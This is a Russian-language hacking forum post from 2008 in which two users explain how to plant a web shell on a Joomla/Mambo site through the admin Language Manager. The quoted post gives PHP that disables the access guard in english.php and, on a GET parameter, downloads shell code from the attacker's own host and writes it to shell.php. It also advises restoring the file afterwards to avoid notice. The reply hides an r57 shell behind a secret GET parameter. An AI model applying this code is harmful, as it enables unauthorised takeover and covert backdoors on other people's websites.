Показать сообщение отдельно

  #19  
Старый 08.09.2008, 22:04
diehard
Постоянный
Регистрация: 30.09.2007
Сообщений: 815
Провел на форуме:
2590715

Репутация: 659


Отправить сообщение для diehard с помощью ICQ
По умолчанию

Цитата:
Сообщение от Grey  
Вот тебе способ (как раз сегодня так шелл залил + только что на локалке проверил еще разок (на новой версии)):

заходишь в админку Language Manager выбираешь файл который будешь редактировать, к примеру English, щелка по нему попадаешь в менюшку с редактированием в ней есть путь до файла, к примеру:

z:/home/test1.ru/www/language/english.php

он тебе пригодится, точнее его часть, теперь сам файл, там может быть защита от выполнения без инклуда (если защиты нет то просто дописываем пару строчек):

PHP код:
// no direct access
defined'_VALID_MOS' ) or die( 'Restricted access' ); 
Экранируем эту строчку и дописываем подарок:

PHP код:
if($HTTP_GET_VARS['a']==1

$file file('http://адрес твоего сайта с шеллом/shell.txt'); 
$file2 fopen("shell.php""w"); // здесь shell.php имя твоего шелла - который будет создан в результате работы скрипта
for ($i 0$i count($file); $i++) 

fputs($file2$file[$i]); 

fclose($file2); 


// no direct access
//defined( '_VALID_MOS' ) or die( 'Restricted access' ); 
Дальше переходим по линке:

http://test1.ru/language/english.php?a=1

И получаем шелл:

http://test1.ru/language/shell.php

P.S. можно конечно впихнуть шелл и в редактируемый файл - но палевно будет смотреться, а так залил шелл, вернул все обратно и все гуд.
Я не понимаю с чем связано, но запуская шелл постоянно получаю ошибку 500 Internal Server Error, поэтому загружаю шелл прямо в english.php, который вызывается с определенными параметрами в GET-запросе:

if ($_GET['xek']=='ontechad'){
// r57
}

www.site.com/language/english.php?xek=ontechad